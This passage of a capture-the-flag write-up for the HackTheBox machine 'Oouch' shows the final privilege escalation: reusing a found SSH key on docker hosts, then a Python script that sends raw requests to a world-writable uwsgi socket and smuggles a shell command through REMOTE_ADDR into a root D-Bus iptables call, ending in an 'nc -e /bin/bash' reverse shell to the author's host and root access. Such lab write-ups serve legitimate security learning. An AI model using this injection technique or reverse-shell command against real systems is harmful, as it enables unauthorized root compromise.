wWMcrd2u62nTWhUD2dc1kbk1kcJzrDfy5lCEgCwMrMrSmIHnEyKysfir++LSuKLRgyEZIM
rTPL8nIkJQ/ykWhtP5NIxtxoRuL26tqI4sxw51n1Jsu8aBJc9t4vudDBOr9uU5N619LZGS
WZ+OOm+sVgJ8a2rvGVuTlngzZb2/PTgUAAnZsXTTlKbLrq17IEbS3F1SX0uaBzmb3qMREv
5sUAcJH6xV/HsAAAAOcGVudGVzdGVyQGthbGkBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----

That wasn't the same key as for qtc. But I did find some machines in the IP ranges used by docker

qtc@oouch:~/.ssh$ for i in $(seq 1 255); do ping -c 1 172.18.0.$i; done | grep "bytes from"
64 bytes from 172.18.0.1: icmp_seq=1 ttl=64 time=0.053 ms
64 bytes from 172.18.0.2: icmp_seq=1 ttl=64 time=0.058 ms
64 bytes from 172.18.0.3: icmp_seq=1 ttl=64 time=0.048 ms
64 bytes from 172.18.0.4: icmp_seq=1 ttl=64 time=0.088 ms
64 bytes from 172.18.0.5: icmp_seq=1 ttl=64 time=0.070 ms

So I tried the key against them

qtc@oouch:~/.ssh$ ssh qtc@172.18.0.2 -i ./id_rsa
Linux aeb4525789d8 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Mar  1 15:41:34 2020 from 172.18.0.1
qtc@aeb4525789d8:~$

Which seemed to be running the web app from port 5000

qtc@aeb4525789d8:/code$ ls -la
total 52
drwxr-xr-x 4 root root 4096 Feb 11 17:34 .
drwxr-xr-x 1 root root 4096 Feb 25 12:33 ..
-rw-r--r-- 1 root root 1072 Feb 11 17:34 Dockerfile
-r-------- 1 root root  568 Feb 11 17:34 authorized_keys
-rw-r--r-- 1 root root  325 Feb 11 17:34 config.py
-rw-r--r-- 1 root root   23 Feb 11 17:34 consumer.py
-r-------- 1 root root 2602 Feb 11 17:34 key
drwxr-xr-x 4 root root 4096 Feb 11 17:34 migrations
-rw-r--r-- 1 root root  724 Feb 11 17:34 nginx.conf
drwxr-xr-x 5 root root 4096 Feb 11 17:34 oouch
-rw-r--r-- 1 root root  241 Feb 11 17:34 requirements.txt
-rwxr-xr-x 1 root root   89 Feb 11 17:34 start.sh
-rw-rw-rw- 1 root root    0 Mar  1 15:44 urls.txt
-rw-r--r-- 1 root root  163 Feb 11 17:34 uwsgi.ini

qtc@aeb4525789d8:/code$ cat config.py
import os

basedir = os.path.abspath(os.path.dirname(__file__))

class Config(object):
    # ...
    SQLALCHEMY_DATABASE_URI = 'mysql://qtc:clarabibi2019!@database.consumer.oouch.htb/Consumer'
    SQLALCHEMY_TRACK_MODIFICATIONS = False

    SECRET_KEY = os.environ.get('SECRET_KEY') or 'klarabubuklarabubuklarabubuklarabubu'
    # qtc@aeb4525789d8:/code/oouch$ cat routes.py
import re
import sys
import json
import requests
from oouch import app, db
from oouch.models import User, Token
from flask_login import current_user, login_user, logout_user, login_required
from flask import render_template,redirect, url_for, flash, request
from oouch.forms import LoginForm, RegistrationForm, PasswordChangeForm, ContactForm
from werkzeug.urls import url_parse
sys.path.insert(0, "/usr/lib/python3/dist-packages")
import dbus
[SNIP]
# First we need to load the contact form
    form = ContactForm()

    # If the form was already submitted, we process the contents
    if form.validate_on_submit():

        # First apply our primitive xss filter
        if primitive_xss.search(form.textfield.data):
            bus = dbus.SystemBus()
            block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
            block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')

            client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr)
            response = block_iface.Block(client_ip)
            bus.close()
            return render_template('hacker.html', title='Hacker')
[SNIP]

This is also handling the Dbus stuff mentioned in the note. I also found that when I got banned by the WAF on port 5000 the following entries showed in pspy

2020/03/01 17:24:11 CMD: UID=0    PID=6949   | sh -c iptables -A PREROUTING -s 10.10.14.27 -t mangle -j DROP
2020/03/01 17:24:11 CMD: UID=0    PID=6948   | /root/dbus-server 

My IP was there and unquoted, so I considered maybe I could carry out some kind of command injection attack via the Dbus. I also found the uwsgi socket for the webserver was world writable, so I could inject modified requests directly into it. Which is good as the Dbus message used the REMOTE_ADDR header which I would have been unable to fake

qtc@aeb4525789d8:/tmp$ ls -la
srw-rw-rw- 1 www-data www-data    0 Mar  1 12:10 uwsgi.socket

At this point I spent a lot of time testing various scripts, and reading a lot of documentation. Various resources I found helpful were (There were a lot more, these were just ones I saved)

This resulted in the following script to interact with the socket and submit a post request to the contact form. Importantly I wasn't expecting to trigger the RCE with this attempt as I didn't try and trigger the waf

import sys
import socket
import struct

PAYLOAD = {
    'PATH_INFO': '/contact',
    'REQUEST_METHOD': 'POST',
    'HTTP_HOST': 'consumer.oouch.htb',
    'HTTP_COOKIE': 'session=.eJwlj8FqxDAMRH_F-LwU27JlJ1_Re1kWWZY3oemmxNnTsv9eQU9CM3rD6GVvfaOxyLDz18uaU4f9kTHoLvZiPzehIWbb72Z9mHM3xKymOZd1mF-9-bDX9_WiIYeMxc7n8RTd1mZnC51QpEcOANGR9MknkAl78IKOMGIqoXPrlX2R1FJKXCZpmFT1TJSbFHBeqpuy81AAQxCGVnMtKSDVBi4ySKBSBUJWVBBU5AxYmtbncfTbuX_LQ_twTlEjEykcA_cGGX11mXzBkGuXNmHwvij3HHL8P5Hs-w82Z1Ze.XlvzUw.IjfpaHZE30kBQiw4NvwR1ci3ib8',
    'HTTP_USER_AGENT': 'NotAnExploit',
    'CONTENT_TYPE': 'application/x-www-form-urlencoded',
    'CONTENT_LENGTH': '133',
    'REMOTE_ADDR': '$(touch /tmp/rooted)'
}

def encode_params(params):
  encoded_results = b''
  for param in params:
    val = params[param].encode()
    param = param.encode()
    encoded_results += struct.pack('<H', len(param))
    encoded_results += param
    encoded_results += struct.pack('<H', len(val))
    encoded_results += val
  return encoded_results

def main():

  s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
  s.connect('/tmp/uwsgi.socket')

  encoded_payload = encode_params(PAYLOAD)

  print("============== BEGIN PAYLOAD ==============")
  print(encoded_payload)
  print("==============  END PAYLOAD  ==============")
  print()
  print()

  s.sendall(struct.pack('<BHB', 0, len(encoded_payload), 0))
  s.sendall(encoded_payload)
  s.sendall("csrf_token=ImM3NTQ3ZGU1YTg1MjQyY2ZkMzc2MWIwN2ExODYyN2JmZWQ5NjIxMTgi.XlwEmg.xBU6SLFRMI208-xNpy_TrJ1vz-A&textfield=hi+admin&submit=Send".encode())

  print("============== BEGIN RESPONSE ==============")
  response = s.recv(1024)
  while response:
    print(response)
    response = s.recv(1024)
  print("==============  END RESPONSE  ==============")

  s.close()

if __name__ == '__main__':
  main()

I ran it

qtc@aeb4525789d8:/tmp$ python exploit.py
============== BEGIN PAYLOAD ==============
b'\t\x00PATH_INFO\x08\x00/contact\x0e\x00REQUEST_METHOD\x04\x00POST\t\x00HTTP_HOST\x12\x00consumer.oouch.htb\x0b\x00HTTP_COOKIET\x01session=.eJwlj8FqxDAMRH_F-LwU27JlJ1_Re1kWWZY3oemmxNnTsv9eQU9CM3rD6GVvfaOxyLDz18uaU4f9kTHoLvZiPzehIWbb72Z9mHM3xKymOZd1mF-9-bDX9_WiIYeMxc7n8RTd1mZnC51QpEcOANGR9MknkAl78IKOMGIqoXPrlX2R1FJKXCZpmFT1TJSbFHBeqpuy81AAQxCGVnMtKSDVBi4ySKBSBUJWVBBU5AxYmtbncfTbuX_LQ_twTlEjEykcA_cGGX11mXzBkGuXNmHwvij3HHL8P5Hs-w82Z1Ze.XlvzUw.IjfpaHZE30kBQiw4NvwR1ci3ib8\x0f\x00HTTP_USER_AGENT\x0c\x00NotAnExploit\x0c\x00CONTENT_TYPE!\x00application/x-www-form-urlencoded\x0e\x00CONTENT_LENGTH\x03\x00133\x0b\x00REMOTE_ADDR\x14\x00$(touch /tmp/rooted)'
==============  END PAYLOAD  ==============

============== BEGIN RESPONSE ==============
b'HTTP/1.0 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 3001\r\nVary: Cookie\r\nSet-Cookie: session=.eJwlj8FqxDAMRH_F-LwU27JlJ1-x97IssixvQtNNidPTsv9eQU9CM3rD6GXvfaOxyLDz58uaU4f9ljHoIfZir5vQELPtD7M-zbkbYlbTnMs6zI_efNjb-3bRkEPGYudO2xBd12ZnC51QpEcOANGR9MknkAl78IKOMGIqoXPrlX2R1FJKXCZpmFT1TJSbFHBeqpuy81AAQxCGVnMtKSDVBi4ySKBSBUJWVBBU5AxYmvbncfT7uX_JU_twTlEjEykcA_cGGX11mXzBkGuXNmHwvij3O-T4fyLZ9x-PcVap.XlwFuA.-Ax6c88JcZOCZiNAA-_0k6fLUZo; HttpOnly; Path=/\r\n\r\n<html>\n    \n    \n    <head>\n      \n      <title>Contact</title>\n      \n      <meta>\n        <link rel="stylesheet" media="screen" href="/static/css/bootstrap.min.css">\n        <link rel="stylesheet" href="/static/css/bootstrap-theme.min.css">\n        <meta name="viewport" content="width=device-width, initial-scale=1.0">\n      </meta>\n    </head>\n    \n    <link rel="stylesheet" media="screen" href="/static/css/menu.css">\n\n\n    <body>\n    <nav class="navbar navbar-expand-sm bg-light navbar-light">\n      <ul class="navbar-nav">\n        <li class="nav-ite'
b'm active">\n          <a class="nav-link" href="/home">Home</a>\n        </li>\n        \n        <li class="nav-item">\n          <a class="nav-link" href="/logout">Logout</a>\n        </li>\n        \n  </ul>\n</nav>\n\n    \n    <div id="sidebar-wrapper">\n        <ul class="sidebar-nav" id="sidebar">\n          <li class="sidebar-nav"><a id="menu-toggle" href="/home">Menu<span id="main_icon" class="glyphicon glyphicon-align-justify"></span></a></li>\n          <li><a href="/profile">Profile<span class="sub_icon glyphicon glyphicon-link"></span></a></li>\n          <li><a href="/password_change">Password Change<span class="sub_icon glyphicon glyphicon-link"></span></a></li>\n          <li><a href="/documents">Documents<span class="sub_icon glyphicon glyphicon-link"></span></a></li>\n          <li><a href="/about">About<span class="sub_icon glyphicon glyphicon-link"></span></a></li>\n          <li><a href="/contact">Contact<span class="sub_icon glyphicon glyphicon-link"></span></a></li>\n        </ul>\n      </div>\n\n      <div '
b'id="page-content-wrapper">\n          <div class="text-center">\n            <h1 style="margin-top: 2cm;">Contact</h1>\n            <p style="margin-top: 2cm;">Customer contact is really important for us. If you have feedback to our site or found any bugs that influenced your user experience, \n            please do not hesitate to contact us. Messages that were submitted in the message box below are forwarded to the system administrator. Please do not submit security\n            issues using this form. Instead ask our system administrator how to establish an encrypted communication channel.</p>\n\n            <form action="" method="post" novalidate>\n              <div class="form-group">\n                <input id="csrf_token" name="csrf_token" type="hidden" value="ImM3NTQ3ZGU1YTg1MjQyY2ZkMzc2MWIwN2ExODYyN2JmZWQ5NjIxMTgi.XlwFuA.QJH6lZW-PkUD7QGTtEDKtV_098E">\n                <p>\n                    <label for="textfield">Message</label><br>\n                    <input class="form-control" id="textfield" name="textfie'
b'ld" required size="500" type="text" value="hi admin"><br>\n                    \n                </p>\n                <p><input class="btn btn-success" id="submit" name="submit" type="submit" value="Send"></p>\n              </div>\n            </form>\n            \n            <p>Your message was sent. Thank you for your feedback!</p>\n            \n          </div>\n      </div>\n\n    </body>\n</html>'
==============  END RESPONSE  ==============

This was the first time I successfully made a raw request via the socket. So I updated it to trigger the waf. I had my REMOTE_ADDR set to

$(touch /tmp/rooted)

So I could see if it worked. The updated script was

import sys
import socket
import struct

PAYLOAD = {
    'PATH_INFO': '/contact',
    'REQUEST_METHOD': 'POST',
    'HTTP_HOST': 'consumer.oouch.htb',
    'HTTP_COOKIE': 'session=.eJwlj8FqxDAMRH_F-LwU27JlJ1_Re1kWWZY3oemmxNnTsv9eQU9CM3rD6GVvfaOxyLDz18uaU4f9kTHoLvZiPzehIWbb72Z9mHM3xKymOZd1mF-9-bDX9_WiIYeMxc7n8RTd1mZnC51QpEcOANGR9MknkAl78IKOMGIqoXPrlX2R1FJKXCZpmFT1TJSbFHBeqpuy81AAQxCGVnMtKSDVBi4ySKBSBUJWVBBU5AxYmtbncfTbuX_LQ_twTlEjEykcA_cGGX11mXzBkGuXNmHwvij3HHL8P5Hs-w82Z1Ze.XlvzUw.IjfpaHZE30kBQiw4NvwR1ci3ib8',
    'HTTP_USER_AGENT': 'NotAnExploit',
    'CONTENT_TYPE': 'application/x-www-form-urlencoded',
    'CONTENT_LENGTH': '134',
    'REMOTE_ADDR': '$(touch /tmp/rooted)'
}

def encode_params(params):
  encoded_results = b''
  for param in params:
    val = params[param].encode()
    param = param.encode()
    encoded_results += struct.pack('<H', len(param))
    encoded_results += param
    encoded_results += struct.pack('<H', len(val))
    encoded_results += val
  return encoded_results

def main():

  s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
  s.connect('/tmp/uwsgi.socket')

  encoded_payload = encode_params(PAYLOAD)

  print("============== BEGIN PAYLOAD ==============")
  print(encoded_payload)
  print("==============  END PAYLOAD  ==============")
  print()
  print()

  s.sendall(struct.pack('<BHB', 0, len(encoded_payload), 0))
  s.sendall(encoded_payload)
  s.sendall("csrf_token=ImM3NTQ3ZGU1YTg1MjQyY2ZkMzc2MWIwN2ExODYyN2JmZWQ5NjIxMTgi.XlwEmg.xBU6SLFRMI208-xNpy_TrJ1vz-A&textfield=document.&submit=Send".encode())

  print("============== BEGIN RESPONSE ==============")
  response = s.recv(1024)
  while response:
    print(response)
    response = s.recv(1024)
  print("==============  END RESPONSE  ==============")

  s.close()

if __name__ == '__main__':
  main()

Which ran

qtc@aeb4525789d8:/tmp$ python exploit.py
============== BEGIN PAYLOAD ==============
b'\t\x00PATH_INFO\x08\x00/contact\x0e\x00REQUEST_METHOD\x04\x00POST\t\x00HTTP_HOST\x12\x00consumer.oouch.htb\x0b\x00HTTP_COOKIET\x01session=.eJwlj8FqxDAMRH_F-LwU27JlJ1_Re1kWWZY3oemmxNnTsv9eQU9CM3rD6GVvfaOxyLDz18uaU4f9kTHoLvZiPzehIWbb72Z9mHM3xKymOZd1mF-9-bDX9_WiIYeMxc7n8RTd1mZnC51QpEcOANGR9MknkAl78IKOMGIqoXPrlX2R1FJKXCZpmFT1TJSbFHBeqpuy81AAQxCGVnMtKSDVBi4ySKBSBUJWVBBU5AxYmtbncfTbuX_LQ_twTlEjEykcA_cGGX11mXzBkGuXNmHwvij3HHL8P5Hs-w82Z1Ze.XlvzUw.IjfpaHZE30kBQiw4NvwR1ci3ib8\x0f\x00HTTP_USER_AGENT\x0c\x00NotAnExploit\x0c\x00CONTENT_TYPE!\x00application/x-www-form-urlencoded\x0e\x00CONTENT_LENGTH\x03\x00134\x0b\x00REMOTE_ADDR\x14\x00$(touch /tmp/rooted)'
==============  END PAYLOAD  ==============

============== BEGIN RESPONSE ==============
b'HTTP/1.0 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 2033\r\nVary: Cookie\r\nSet-Cookie: session=.eJwlj8FqxDAMRH_F-LwU27JlJ1-x97IssixvQtNNidPTsv9eQU9CM3rD6GXvfaOxyLDz58uaU4f9ljHoIfZir5vQELPtD7M-zbkbYlbTnMs6zI_efNjb-3bRkEPGYudO2xBd12ZnC51QpEcOANGR9MknkAl78IKOMGIqoXPrlX2R1FJKXCZpmFT1TJSbFHBeqpuy81AAQxCGVnMtKSDVBi4ySKBSBUJWVBBU5AxYmvbncfT7uX_JU_twTlEjEykcA_cGGX11mXzBkGuXNmHwvij3O-T4fyLZ9x-PcVap.XlwGHQ.1xX_86L1PbhSd3l7PjzG_E9Kqhs; HttpOnly; Path=/\r\n\r\n<html>\n    \n    \n    <head>\n      \n      <title>Hacker</title>\n      \n      <meta>\n        <link rel="stylesheet" media="screen" href="/static/css/bootstrap.min.css">\n        <link rel="stylesheet" href="/static/css/bootstrap-theme.min.css">\n        <meta name="viewport" content="width=device-width, initial-scale=1.0">\n      </meta>\n    </head>\n    \n    <link rel="stylesheet" media="screen" href="/static/css/menu.css">\n\n\n    <body>\n    <nav class="navbar navbar-expand-sm bg-light navbar-light">\n      <ul class="navbar-nav">\n        <li class="nav-item'
b' active">\n          <a class="nav-link" href="/home">Home</a>\n        </li>\n        \n        <li class="nav-item">\n          <a class="nav-link" href="/logout">Logout</a>\n        </li>\n        \n  </ul>\n</nav>\n\n    \n    <div id="sidebar-wrapper">\n        <ul class="sidebar-nav" id="sidebar">\n          <li class="sidebar-nav"><a id="menu-toggle" href="/home">Menu<span id="main_icon" class="glyphicon glyphicon-align-justify"></span></a></li>\n          <li><a href="/profile">Profile<span class="sub_icon glyphicon glyphicon-link"></span></a></li>\n          <li><a href="/password_change">Password Change<span class="sub_icon glyphicon glyphicon-link"></span></a></li>\n          <li><a href="/documents">Documents<span class="sub_icon glyphicon glyphicon-link"></span></a></li>\n          <li><a href="/about">About<span class="sub_icon glyphicon glyphicon-link"></span></a></li>\n          <li><a href="/contact">Contact<span class="sub_icon glyphicon glyphicon-link"></span></a></li>\n        </ul>\n      </div>\n\n      <div i'
b'd="page-content-wrapper">\n          <div class="text-center">\n            <h1 style="margin-top: 2cm;">Hacking Attempt Detected</h1>\n            <p style="margin-top: 2cm;">Dear hacker, did we not already told you, that this site is constructed following the highest security standards?\n            Well, we blocked your IP address for about one minute and hope that you learn something from that.</p>\n          </div>\n      </div>\n\n    </body>\n</html>'
==============  END RESPONSE  ==============

And when I checked tmp on the host

qtc@oouch:/tmp$ ls -la
[SNIP]
-rw-r--r--  1 root root       0 Mar  1 19:59 rooted
[SNIP]

Itt worked, so I updated the injected command to be

$(nc 10.10.14.27 4444 -e /bin/bash)

And set a listener

kali@kali:~$ nc -nlvp 4444

Then when I ran the exploit and checked the listener

connect to [10.10.14.27] from (UNKNOWN) [10.10.10.177] 41530
#

# id
uid=0(root) gid=0(root) groups=0(root)

A root shell, so I grabbed the flag

# ls -la
total 76
drwx------  6 root root  4096 Feb 25 12:31 .
drwxr-xr-x 18 root root  4096 Feb 11 17:51 ..
lrwxrwxrwx  1 root root     9 Feb 11 18:34 .bash_history -> /dev/null
-rw-r--r--  1 root root   570 Jan 31  2010 .bashrc
drwxr-xr-x  3 root root  4096 Feb 11 18:34 .cache
-rw-r--r--  1 root root   334 Feb 11 18:34 credits.txt
-rwxr-xr-x  1 root root 17904 Feb 11 18:34 dbus-server
-rw-r--r--  1 root root  4876 Feb 11 18:34 dbus-server.c
-rw-r--r--  1 root root     0 Mar  1 20:02 get_pwnd.log
-rwxr-xr-x  1 root root  7121 Feb 23 15:08 get_pwnd.py
drwx------  3 root root  4096 Feb 11 18:33 .gnupg
drwxr-xr-x  3 root root  4096 Feb 25 12:31 .local
-rw-r--r--  1 root root   148 Aug 17  2015 .profile
-rw-------  1 root root    33 Feb 11 18:34 root.txt
drwxr-xr-x  2 root root  4096 Feb 13 06:49 .ssh

# cat root.txt
[REDACTED]

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.